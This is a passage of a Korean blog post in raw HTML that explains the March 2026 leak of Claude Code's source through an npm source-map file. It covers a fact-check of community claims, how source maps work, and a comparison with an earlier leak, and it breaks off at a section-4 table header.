&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;소스맵 유출이란 무엇인가 &amp;mdash; 기술적 배경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;두 번째 유출 &amp;mdash; 왜 반복됐나
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2025년 첫 번째 사건과의 차이&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;유출 규모와 기술 스택 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;핵심 아키텍처: 드러난 설계의 비밀
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에이전트 파이프라인 구조&lt;/li&gt;
&lt;li&gt;멀티에이전트 오케스트레이션&lt;/li&gt;
&lt;li&gt;권한 시스템 설계&lt;/li&gt;
&lt;li&gt;IDE 브리지와 보안&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;숨겨진 미출시 기능들
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;BUDDY &amp;mdash; 18종 상세 사양&lt;/li&gt;
&lt;li&gt;KAIROS &amp;mdash; 4개 전용 도구&lt;/li&gt;
&lt;li&gt;ULTRAPLAN &amp;mdash; 원격 Opus 계획 엔진&lt;/li&gt;
&lt;li&gt;Capybara 모델 패밀리&lt;/li&gt;
&lt;li&gt;betas.ts 피처 플래그 전체 목록&lt;/li&gt;
&lt;li&gt;숨겨진 슬래시 커맨드 17개&lt;/li&gt;
&lt;li&gt;출시 타임라인 예측&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;내부 안전장치 &amp;amp; 기술 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Undercover Mode &amp;mdash; Co-Authored-By 헤더 삭제 포함&lt;/li&gt;
&lt;li&gt;ANTI_DISTILLATION_CC &amp;mdash; 경쟁사 방어&lt;/li&gt;
&lt;li&gt;감정 분석: 정규식 vs LLM&lt;/li&gt;
&lt;li&gt;코드 품질 위기: 테스트 없는 64,464줄&lt;/li&gt;
&lt;li&gt;텔레메트리: 1,000개+ 이벤트 &amp;amp; tengu_frond_boric&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응과 논쟁 포인트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic의 대응과 법적 맥락&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자가 알아야 할 인사이트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CLAUDE.md 로딩 순서 (4단계 우선순위)&lt;/li&gt;
&lt;li&gt;system-reminder 주입 타이밍&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 의도치 않은 오픈소스의 교훈&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;&lt;b&gt;한눈에 보는 사건 요약 (2026-03-31 기준, v2.1.88)&lt;br /&gt;&lt;/b&gt;&lt;/b&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1034&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8AFi/dJMcagrrk3G/2pWV3eaifzRKJS0QgGnkmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8AFi%2FdJMcagrrk3G%2F2pWV3eaifzRKJS0QgGnkmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1946&quot; height=&quot;1034&quot; data-origin-width=&quot;1946&quot; data-origin-height=&quot;1034&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 12px 0 0 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(255,255,255,0.5);&quot;&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;padding: 8px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;유출 날짜&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;2026-03-31&lt;/b&gt; (두 번째 사건)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://piunikaweb.com/2026/03/31/anthropic-claude-code-source-leaked-npm-registry/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PiunikaWeb&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;발견자&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Chaofan Shou&lt;/b&gt; (&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://cybersecuritynews.com/claude-code-source-code-leaked/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CyberSecurityNews&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;유출 파일&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;cli.js.map&lt;/b&gt; (~59.8MB)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://thehuman2ai.com/blog/claude-code-source-leak&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TheHuman2AI&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript 파일 수&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;1,906개&lt;/b&gt; (node_modules 포함 총 4,756개)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 아카이브&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;실제 코드 줄 수&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;512,000줄+&lt;/b&gt; (커뮤니티 &quot;80만 줄&quot;은 과장)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DEV.to 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;내부 코드명&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&quot;Tengu&quot;&lt;/b&gt; (100개 이상의 피처 플래그에 접두사로 사용)&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;소스 분석&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 대응&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;공개 성명 없음, npm 패키지 업데이트로 소스맵 제거&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://techstartups.com/2026/03/31/anthropics-claude-source-code-leak-goes-viral-again-after-full-source-hits-npm-registry-revealing-hidden-capybara-models-and-ai-pet/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechStartups&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 팩트체크: 커뮤니티 주장 vs 실제 수치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소셜미디어에 퍼진 정보 중 일부는 과장됐거나 부정확하다. 먼저 팩트를 정리한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주장&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;판정&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;실제&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;해커가 뚫었다&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic의 빌드/배포 실수 (소스맵 미제거)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;80만 줄의 TypeScript&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;과장&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;512,000줄+ (약 51만 줄). 80만은 node_modules 포함 시 근사치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;처음 있는 일&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2025년 2월 24일에 이미 한 번 발생. 이번이 두 번째&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;모델 가중치도 유출&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;X&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CLI 프론트엔드 코드만 유출. 모델 가중치&amp;middot;학습 데이터 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;4,756개 파일&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;사실&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 1,906개 + node_modules 2,850개 = 4,756개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;파일 크기 57MB&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;근사치&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;정확히는 59.8MB (출처에 따라 &quot;57MB&quot; 또는 &quot;59.8MB&quot; 혼용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;mintlify 분석 문서 &quot;수 시간 만에 등장&quot;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;사실&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;mintlify.com/VineeTagarwaL-code/&lt;/a&gt; 당일 공개&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;오늘이 4월 1일입니다. 즉 만우절 ????&lt;/b&gt;&lt;br /&gt;일부 커뮤니티에서는 이 사건이 Anthropic의 에이프릴 풀(April Fools) 마케팅이라는 주장도 나온다. 실제로 소스 코드에는 BUDDY 기능의 &quot;April 1-7, 2026 teaser window&quot;가 명시되어 있다. 그러나 소스맵 유출 자체는 2025년에도 있었던 실수의 반복이며, Anthropic이 신속히 패키지를 수정한 것으로 보아 의도된 공개가 아닌 것으로 판단된다.&lt;/div&gt;
&lt;!-- 섹션 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 소스맵 유출이란 무엇인가 &amp;mdash; 기술적 배경&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 사건을 이해하려면 먼저 소스맵(source map)이 무엇인지 알아야 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1082&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7L7sf/dJMcah4YmA7/HoTXfGuaNlKM2kF7qJUMVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7L7sf%2FdJMcah4YmA7%2FHoTXfGuaNlKM2kF7qJUMVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1082&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1082&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;소스맵이란?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TypeScript나 JavaScript 코드를 배포할 때는 보통 다음 과정을 거친다:&lt;/p&gt;
&lt;ol style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;TypeScript 컴파일&lt;/b&gt; &amp;mdash; .ts 파일을 .js로 변환&lt;/li&gt;
&lt;li&gt;&lt;b&gt;번들링 + 최소화(minification)&lt;/b&gt; &amp;mdash; 여러 파일을 하나로 합치고 변수명을 짧게 압축&lt;/li&gt;
&lt;li&gt;&lt;b&gt;(선택) 소스맵 생성&lt;/b&gt; &amp;mdash; 압축된 코드와 원본 소스의 위치를 매핑한 .map 파일 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스맵은 원래 개발자 도구(DevTools)에서 디버깅할 때 &quot;압축된 코드 line 1, column 5432&quot; 대신 &quot;원본 파일 auth.ts line 42&quot;처럼 보여주기 위한 도구다. 프로덕션 배포 시에는 포함하지 않거나, 내부 서버에만 배포하는 것이 관례다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;version&quot;: 3,
  &quot;file&quot;: &quot;cli.js&quot;,
  &quot;sources&quot;: [
    &quot;../../src/main.tsx&quot;,
    &quot;../../src/agent/pipeline.ts&quot;,
    &quot;../../src/tools/bash.ts&quot;
    // ... 1,906개 파일
  ],
  &quot;sourcesContent&quot;: [
    // &amp;larr; 여기에 원본 TypeScript 소스 전체가 문자열로 포함됨
    &quot;import React from 'react';\nimport { render } from 'ink';\n...&quot;
  ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code의 빌더인 Bun은 기본 설정에서 소스맵을 생성한다. 배포 파이프라인에서 이를 명시적으로 제외하지 않으면 npm 패키지에 그대로 포함된다. 이것이 바로 이번 사건의 원인이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #28a745; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 원인 요약&lt;/b&gt;&lt;br /&gt;&quot;해킹&quot;이 아니다. Bun 빌더의 기본 소스맵 생성 + npm publish 파이프라인에서 &lt;code&gt;.npmignore&lt;/code&gt; 또는 &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드로 제외하지 않아 발생한 설정 누락 오류다. &lt;br /&gt;(출처: &lt;a href=&quot;https://saudishopper.com.sa/en/claude-code-source-leak-npm-source-map/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Saudi Shopper 분석&lt;/a&gt;)&lt;/div&gt;
&lt;!-- 섹션 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 두 번째 유출 &amp;mdash; 왜 반복됐나&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번이 처음이 아니다. 놀랍게도 수백 개 버전을 사이에 두고 똑같은 일이 반복됐다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1026&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oueAw/dJMcacvQbNF/1UNkYBNysGciCA4EUjGz91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoueAw%2FdJMcacvQbNF%2F1UNkYBNysGciCA4EUjGz91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1026&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1026&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;두 사건 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;1차 유출 (2025-02-24)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;2차 유출 (2026-03-31)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;방식&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;인라인 base64 인코딩 소스맵&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;별도 파일 &lt;code&gt;cli.js.map&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;발견자&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Dave Shoemaker&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Chaofan Shou (@Fried_rice)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;크기&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;약 1,800만 자 (base64)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;59.8MB 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 대응 시간&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;약 2시간 내 제거&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;패키지 업데이트 및 구버전 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;추가 영향 패키지&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;@anthropic-ai/claude-agent-sdk&lt;/code&gt;도 포함 &lt;span style=&quot;color: #856404;&quot;&gt;[UNVERIFIED &amp;mdash; 복수 소스에서 미확인]&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;커뮤니티 아카이브&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Daniel Nakov GitHub 저장소&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Kuberwastaken, instructkr, nirholas 외 다수&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: 1차에서는 인라인 base64 방식이 문제였고, 2차에서는 별도 파일 방식이 문제였다. 배포 방식은 바뀌었지만 근본 원인(소스맵 제외 로직 누락)은 동일했다.&lt;/i&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #dc3545; margin: 20px 0;&quot;&gt;&lt;b&gt;핵심 교훈&lt;/b&gt;&lt;br /&gt;Bun 번들러는 기본적으로 소스맵을 생성한다. npm 패키지를 배포할 때 &lt;code&gt;package.json&lt;/code&gt;의 &lt;code&gt;files&lt;/code&gt; 필드 또는 &lt;code&gt;.npmignore&lt;/code&gt;에서 &lt;code&gt;*.map&lt;/code&gt; 파일을 명시적으로 제외해야 한다. 이 누락이 수백 개 버전 동안 수정되지 않아 두 번째 사고를 만들었다. [UNVERIFIED &amp;mdash; 두 유출 사이의 정확한 릴리스 수는 npm 레지스트리에서 직접 확인 필요]&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 유출 규모와 기술 스택 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드가 드러낸 첫 번째 사실은 Claude Code가 얼마나 정교하게 설계됐는지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;코드베이스 규모 (2026-03-31 기준)&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
